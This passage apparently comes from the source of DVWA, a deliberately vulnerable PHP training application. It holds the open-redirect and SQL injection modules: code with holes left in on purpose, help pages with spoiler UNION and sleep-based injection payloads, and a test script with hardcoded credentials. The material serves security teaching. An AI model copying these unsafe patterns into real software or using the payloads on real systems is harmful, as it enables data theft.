    "content": "<?php\r\n\r\n$target = \"\";\r\n\r\nif (array_key_exists (\"redirect\", $_GET) && is_numeric($_GET['redirect'])) {\r\n\tswitch (intval ($_GET['redirect'])) {\r\n\t\tcase 1:\r\n\t\t\t$target = \"info.php?id=1\";\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\t$target = \"info.php?id=2\";\r\n\t\t\tbreak;\r\n\t\tcase 99:\r\n\t\t\t$target = \"https://digi.ninja\";\r\n\t\t\tbreak;\r\n\t}\r\n\tif ($target != \"\") {\r\n\t\theader (\"location: \" . $target);\r\n\t\texit;\r\n\t} else {\r\n\t\t?>\r\n\t\tUnknown redirect target.\r\n\t\t<?php\r\n\t\texit;\r\n\t}\r\n}\r\n\r\n?>\r\nMissing redirect target.\r\n"
  },
  {
    "path": "vulnerabilities/open_redirect/source/info.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Open HTTP Redirect' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'open_redirect';\r\n$page[ 'help_button' ]   = 'open_redirect';\r\n$page[ 'source_button' ] = 'open_redirect';\r\ndvwaDatabaseConnect();\r\n\r\n$info = \"\";\r\n\r\nif (array_key_exists (\"id\", $_GET) && is_numeric($_GET['id'])) {\r\n\tswitch (intval ($_GET['id'])) {\r\n\t\tcase 1:\r\n\t\t\t$info = \"Why did he come to you?<br />I got a record, I was Zero Cool<br />Zero Cool. Crashed 1507 systems in one day, biggest crash in history, front page, New York Times August 10th 1988.\";\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\t$info = \"Who are you anyway?<br />Johnny.<br />Johnny who?<br />Just... Johnny?\";\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\t$info = \"Some other stuff\";\r\n\t}\r\n}\r\n\r\nif ($info == \"\") {\r\n\thttp_response_code (500);\r\n\t?>\r\n\t<p>Missing quote ID.</p>\r\n\t<?php\r\n\texit;\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Open HTTP Redirect</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h2>Hacker Quotes</h2>\r\n\t\t<p>\r\n\t\t\t{$info}\r\n\t\t</p>\r\n\t\t<p><a href='../'>Back</a></p>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html', \"OWASP Unvalidated Redirects and Forwards Cheat Sheet\" ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect', \"WSTG - Testing for Client-side URL Redirect\") . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://cwe.mitre.org/data/definitions/601.html', \"Mitre - CWE-601: URL Redirection to Untrusted Site ('Open Redirect')\" ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/open_redirect/source/low.php",
    "content": "<?php\r\n\r\nif (array_key_exists (\"redirect\", $_GET) && $_GET['redirect'] != \"\") {\r\n\theader (\"location: \" . $_GET['redirect']);\r\n\texit;\r\n}\r\n\r\nhttp_response_code (500);\r\n?>\r\n<p>Missing redirect target.</p>\r\n<?php\r\nexit;\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/open_redirect/source/medium.php",
    "content": "<?php\r\n\r\nif (array_key_exists (\"redirect\", $_GET) && $_GET['redirect'] != \"\") {\r\n\tif (preg_match (\"/http:\\/\\/|https:\\/\\//i\", $_GET['redirect'])) {\r\n\t\thttp_response_code (500);\r\n\t\t?>\r\n\t\t<p>Absolute URLs not allowed.</p>\r\n\t\t<?php\r\n\t\texit;\r\n\t} else {\r\n\t\theader (\"location: \" . $_GET['redirect']);\r\n\t\texit;\r\n\t}\r\n}\r\n\r\nhttp_response_code (500);\r\n?>\r\n<p>Missing redirect target.</p>\r\n<?php\r\nexit;\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - SQL Injection</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>A SQL injection attack consists of insertion or \"injection\" of a SQL query via the input data from the client to the application.\r\n\t\t\tA successful SQL injection exploit can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database\r\n\t\t\t(such as shutdown the DBMS), recover the content of a given file present on the DBMS file system (load_file) and in some cases issue commands to the operating system.</p>\r\n\r\n\t\t<p>SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.</p>\r\n\r\n\t\t<p>This attack may also be called \"SQLi\".</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords via SQLi.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able\r\n\t\t\tto execute any SQL query they wish.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?id=a' UNION SELECT \"text1\",\"text2\";-- -&Submit=Submit</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The medium level uses a form of SQL injection protection, with the function of\r\n\t\t\t\"<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.mysql-real-escape-string.php', 'mysql_real_escape_string()' ); ?>\".\r\n\t\t\tHowever due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.</p>\r\n\r\n\t\t<p>The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?id=a UNION SELECT 1,2;-- -&Submit=Submit</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>This is very similar to the low level, however this time the attacker is inputting the value in a different manner.\r\n\t\t\tThe input values are being transferred to the vulnerable query via session variables using another page, rather than a direct GET request.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">ID: a' UNION SELECT \"text1\",\"text2\";-- -&Submit=Submit</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer,\r\n\t\t\tand has distinguish which sections are code, and the rest is data.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'sqli';\r\n$page[ 'help_button' ]   = 'sqli';\r\n$page[ 'source_button' ] = 'sqli';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$method            = 'GET';\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\t$method = 'POST';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/sqli/source/{$vulnerabilityFile}\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: SQL Injection</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\";\r\nif( $vulnerabilityFile == 'high.php' ) {\r\n\t$page[ 'body' ] .= \"Click <a href=\\\"#\\\" onclick=\\\"javascript:popUp('session-input.php');return false;\\\">here to change your ID</a>.\";\r\n}\r\nelse {\r\n\t$page[ 'body' ] .= \"\r\n\t\t<form action=\\\"#\\\" method=\\\"{$method}\\\">\r\n\t\t\t<p>\r\n\t\t\t\tUser ID:\";\r\n\tif( $vulnerabilityFile == 'medium.php' ) {\r\n\t\t$page[ 'body' ] .= \"\\n\t\t\t\t<select name=\\\"id\\\">\";\r\n\r\n\t\tfor( $i = 1; $i < $number_of_rows + 1 ; $i++ ) { $page[ 'body' ] .= \"<option value=\\\"{$i}\\\">{$i}</option>\"; }\r\n\t\t$page[ 'body' ] .= \"</select>\";\r\n\t}\r\n\telse\r\n\t\t$page[ 'body' ] .= \"\\n\t\t\t\t<input type=\\\"text\\\" size=\\\"15\\\" name=\\\"id\\\">\";\r\n\r\n\t$page[ 'body' ] .= \"\\n\t\t\t\t<input type=\\\"submit\\\" name=\\\"Submit\\\" value=\\\"Submit\\\">\r\n\t\t\t</p>\\n\";\r\n\r\n\tif( $vulnerabilityFile == 'impossible.php' )\r\n\t\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n\t$page[ 'body' ] .= \"\r\n\t\t</form>\";\r\n}\r\n$page[ 'body' ] .= \"\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/SQL_Injection' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://bobby-tables.com/' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/session-input.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];\r\n\r\nif( isset( $_POST[ 'id' ] ) ) {\r\n\t$_SESSION[ 'id' ] =  $_POST[ 'id' ];\r\n\t//$page[ 'body' ] .= \"Session ID set!<br /><br /><br />\";\r\n\t$page[ 'body' ] .= \"Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />\";\r\n\t$page[ 'body' ] .= \"<script>window.opener.location.reload(true);</script>\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<form action=\\\"#\\\" method=\\\"POST\\\">\r\n\t<input type=\\\"text\\\" size=\\\"15\\\" name=\\\"id\\\">\r\n\t<input type=\\\"submit\\\" name=\\\"Submit\\\" value=\\\"Submit\\\">\r\n</form>\r\n<hr />\r\n<br />\r\n\r\n<button onclick=\\\"self.close();\\\">Close</button>\";\r\n\r\ndvwaSourceHtmlEcho( $page );\r\n\r\n?>\r\n\r\n\r\n"
  },
  {
    "path": "vulnerabilities/sqli/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_SESSION [ 'id' ] ) ) {\r\n\t// Get input\r\n\t$id = $_SESSION[ 'id' ];\r\n\r\n\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\tcase MYSQL:\r\n\t\t\t// Check database\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;\";\r\n\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $query ) or die( '<pre>Something went wrong.</pre>' );\r\n\r\n\t\t\t// Get results\r\n\t\t\twhile( $row = mysqli_fetch_assoc( $result ) ) {\r\n\t\t\t\t// Get values\r\n\t\t\t\t$first = $row[\"first_name\"];\r\n\t\t\t\t$last  = $row[\"last_name\"];\r\n\r\n\t\t\t\t// Feedback for end user\r\n\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t}\r\n\r\n\t\t\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\t\t\r\n\t\t\tbreak;\r\n\t\tcase SQLITE:\r\n\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;\";\r\n\t\t\t#print $query;\r\n\t\t\ttry {\r\n\t\t\t\t$results = $sqlite_db_connection->query($query);\r\n\t\t\t} catch (Exception $e) {\r\n\t\t\t\techo 'Caught exception: ' . $e->getMessage();\r\n\t\t\t\texit();\r\n\t\t\t}\r\n\r\n\t\t\tif ($results) {\r\n\t\t\t\twhile ($row = $results->fetchArray()) {\r\n\t\t\t\t\t// Get values\r\n\t\t\t\t\t$first = $row[\"first_name\"];\r\n\t\t\t\t\t$last  = $row[\"last_name\"];\r\n\r\n\t\t\t\t\t// Feedback for end user\r\n\t\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\techo \"Error in fetch \".$sqlite_db->lastErrorMsg();\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_GET[ 'Submit' ] ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Get input\r\n\t$id = $_GET[ 'id' ];\r\n\r\n\t// Was a number entered?\r\n\tif(is_numeric( $id )) {\r\n\t\t$id = intval ($id);\r\n\t\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\t\tcase MYSQL:\r\n\t\t\t\t// Check the database\r\n\t\t\t\t$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );\r\n\t\t\t\t$data->bindParam( ':id', $id, PDO::PARAM_INT );\r\n\t\t\t\t$data->execute();\r\n\t\t\t\t$row = $data->fetch();\r\n\r\n\t\t\t\t// Make sure only 1 result is returned\r\n\t\t\t\tif( $data->rowCount() == 1 ) {\r\n\t\t\t\t\t// Get values\r\n\t\t\t\t\t$first = $row[ 'first_name' ];\r\n\t\t\t\t\t$last  = $row[ 'last_name' ];\r\n\r\n\t\t\t\t\t// Feedback for end user\r\n\t\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase SQLITE:\r\n\t\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t\t$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );\r\n\t\t\t\t$stmt->bindValue(':id',$id,SQLITE3_INTEGER);\r\n\t\t\t\t$result = $stmt->execute();\r\n\t\t\t\t$result->finalize();\r\n\t\t\t\tif ($result !== false) {\r\n\t\t\t\t\t// There is no way to get the number of rows returned\r\n\t\t\t\t\t// This checks the number of columns (not rows) just\r\n\t\t\t\t\t// as a precaution, but it won't stop someone dumping\r\n\t\t\t\t\t// multiple rows and viewing them one at a time.\r\n\r\n\t\t\t\t\t$num_columns = $result->numColumns();\r\n\t\t\t\t\tif ($num_columns == 2) {\r\n\t\t\t\t\t\t$row = $result->fetchArray();\r\n\r\n\t\t\t\t\t\t// Get values\r\n\t\t\t\t\t\t$first = $row[ 'first_name' ];\r\n\t\t\t\t\t\t$last  = $row[ 'last_name' ];\r\n\r\n\t\t\t\t\t\t// Feedback for end user\r\n\t\t\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_REQUEST[ 'Submit' ] ) ) {\r\n\t// Get input\r\n\t$id = $_REQUEST[ 'id' ];\r\n\r\n\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\tcase MYSQL:\r\n\t\t\t// Check database\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id';\";\r\n\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t\t\t// Get results\r\n\t\t\twhile( $row = mysqli_fetch_assoc( $result ) ) {\r\n\t\t\t\t// Get values\r\n\t\t\t\t$first = $row[\"first_name\"];\r\n\t\t\t\t$last  = $row[\"last_name\"];\r\n\r\n\t\t\t\t// Feedback for end user\r\n\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t}\r\n\r\n\t\t\tmysqli_close($GLOBALS[\"___mysqli_ston\"]);\r\n\t\t\tbreak;\r\n\t\tcase SQLITE:\r\n\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);\r\n\t\t\t#$sqlite_db_connection->enableExceptions(true);\r\n\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = '$id';\";\r\n\t\t\t#print $query;\r\n\t\t\ttry {\r\n\t\t\t\t$results = $sqlite_db_connection->query($query);\r\n\t\t\t} catch (Exception $e) {\r\n\t\t\t\techo 'Caught exception: ' . $e->getMessage();\r\n\t\t\t\texit();\r\n\t\t\t}\r\n\r\n\t\t\tif ($results) {\r\n\t\t\t\twhile ($row = $results->fetchArray()) {\r\n\t\t\t\t\t// Get values\r\n\t\t\t\t\t$first = $row[\"first_name\"];\r\n\t\t\t\t\t$last  = $row[\"last_name\"];\r\n\r\n\t\t\t\t\t// Feedback for end user\r\n\t\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\techo \"Error in fetch \".$sqlite_db->lastErrorMsg();\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t} \r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Submit' ] ) ) {\r\n\t// Get input\r\n\t$id = $_POST[ 'id' ];\r\n\r\n\t$id = mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"], $id);\r\n\r\n\tswitch ($_DVWA['SQLI_DB']) {\r\n\t\tcase MYSQL:\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = $id;\";\r\n\t\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"], $query) or die( '<pre>' . mysqli_error($GLOBALS[\"___mysqli_ston\"]) . '</pre>' );\r\n\r\n\t\t\t// Get results\r\n\t\t\twhile( $row = mysqli_fetch_assoc( $result ) ) {\r\n\t\t\t\t// Display values\r\n\t\t\t\t$first = $row[\"first_name\"];\r\n\t\t\t\t$last  = $row[\"last_name\"];\r\n\r\n\t\t\t\t// Feedback for end user\r\n\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase SQLITE:\r\n\t\t\tglobal $sqlite_db_connection;\r\n\r\n\t\t\t$query  = \"SELECT first_name, last_name FROM users WHERE user_id = $id;\";\r\n\t\t\t#print $query;\r\n\t\t\ttry {\r\n\t\t\t\t$results = $sqlite_db_connection->query($query);\r\n\t\t\t} catch (Exception $e) {\r\n\t\t\t\techo 'Caught exception: ' . $e->getMessage();\r\n\t\t\t\texit();\r\n\t\t\t}\r\n\r\n\t\t\tif ($results) {\r\n\t\t\t\twhile ($row = $results->fetchArray()) {\r\n\t\t\t\t\t// Get values\r\n\t\t\t\t\t$first = $row[\"first_name\"];\r\n\t\t\t\t\t$last  = $row[\"last_name\"];\r\n\r\n\t\t\t\t\t// Feedback for end user\r\n\t\t\t\t\t$html .= \"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>\";\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\techo \"Error in fetch \".$sqlite_db->lastErrorMsg();\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t}\r\n}\r\n\r\n// This is used later on in the index.php page\r\n// Setting it here so we can close the database connection in here like in the rest of the source scripts\r\n$query  = \"SELECT COUNT(*) FROM users;\";\r\n$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $query ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n$number_of_rows = mysqli_fetch_row( $result )[0];\r\n\r\nmysqli_close($GLOBALS[\"___mysqli_ston\"]);\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/sqli/test.php",
    "content": "<?php\n$host = \"192.168.0.7\";\n$username = \"dvwa\";\n$password = \"password\";\n\nmssql_connect($host, $username, $password);\nmssql_select_db($database);\n\n$query =\"SELECT * FROM users\";\n$result =mssql_query($query);\nwhile ( $record = mssql_fetch_array($result) ) {\n\techo $record[\"first_name\"] .\", \". $record[\"password\"] .\"<br />\";\n}\n?>\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/cookie-input.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ] = 'Blind SQL Injection Cookie Input' . $page[ 'title_separator' ].$page[ 'title' ];\r\n\r\nif( isset( $_POST[ 'id' ] ) ) {\r\n\tsetcookie( 'id', $_POST[ 'id' ]);\r\n\t$page[ 'body' ] .= \"Cookie ID set!<br /><br /><br />\";\r\n\t$page[ 'body' ] .= \"<script>window.opener.location.reload(true);</script>\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<form action=\\\"#\\\" method=\\\"POST\\\">\r\n\t<input type=\\\"text\\\" size=\\\"15\\\" name=\\\"id\\\">\r\n\t<input type=\\\"submit\\\" name=\\\"Submit\\\" value=\\\"Submit\\\">\r\n</form>\r\n<hr />\r\n<br />\r\n\r\n<button onclick=\\\"self.close();\\\">Close</button>\";\r\n\r\ndvwaSourceHtmlEcho( $page );\r\n\r\n?>\r\n\r\n\r\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - SQL Injection (Blind)</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>When an attacker executes SQL injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL query's syntax is incorrect.\r\n\t\t\tBlind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message,\r\n\t\t\tthey get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible.\r\n\t\t\tAn attacker can still steal data by asking a series of True and False questions through SQL statements, and monitoring how the web application response\r\n\t\t\t(valid entry retunred or 404 header set).</p>\r\n\r\n\t\t<p>\"time based\" injection method is often used when there is no visible feedback in how the page different in its response (hence its a blind attack).\r\n\t\t \tThis means the attacker will wait to see how long the page takes to response back. If it takes longer than normal, their query was successful.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Find the version of the SQL database software through a blind SQL attack.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able\r\n\t\t\tto execute any SQL query they wish.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?id=1' AND sleep 5&Submit=Submit</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The medium level uses a form of SQL injection protection, with the function of\r\n\t\t\t\"<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.mysql-real-escape-string.php', 'mysql_real_escape_string()' ); ?>\".\r\n\t\t\tHowever due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.</p>\r\n\r\n\t\t<p>The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?id=1 AND sleep 3&Submit=Submit</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>This is very similar to the low level, however this time the attacker is inputting the value in a different manner.\r\n\t\t\tThe input values are being set on a different page, rather than a GET request.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">ID: 1' AND sleep 10&Submit=Submit</span>.\r\n\t\t\tSpoiler: <span class=\"spoiler\">Should be able to cut out the middle man.</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer,\r\n\t\t\tand has distinguish which sections are code, and the rest is data.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Blind_SQL_Injection' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/sqli_blind/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: SQL Injection (Blind)' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'sqli_blind';\r\n$page[ 'help_button' ]   = 'sqli_blind';\r\n$page[ 'source_button' ] = 'sqli_blind';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$method            = 'GET';\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\t$method = 'POST';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/sqli_blind/source/{$vulnerabilityFile}\";\r\n\r\n// Is PHP function magic_quotee enabled?\r\n$WarningHtml = '';\r\nif( ini_get( 'magic_quotes_gpc' ) == true ) {\r\n\t$WarningHtml .= \"<div class=\\\"warning\\\">The PHP function \\\"<em>Magic Quotes</em>\\\" is enabled.</div>\";\r\n}\r\n// Is PHP function safe_mode enabled?\r\nif( ini_get( 'safe_mode' ) == true ) {\r\n\t$WarningHtml .= \"<div class=\\\"warning\\\">The PHP function \\\"<em>Safe mode</em>\\\" is enabled.</div>\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<div 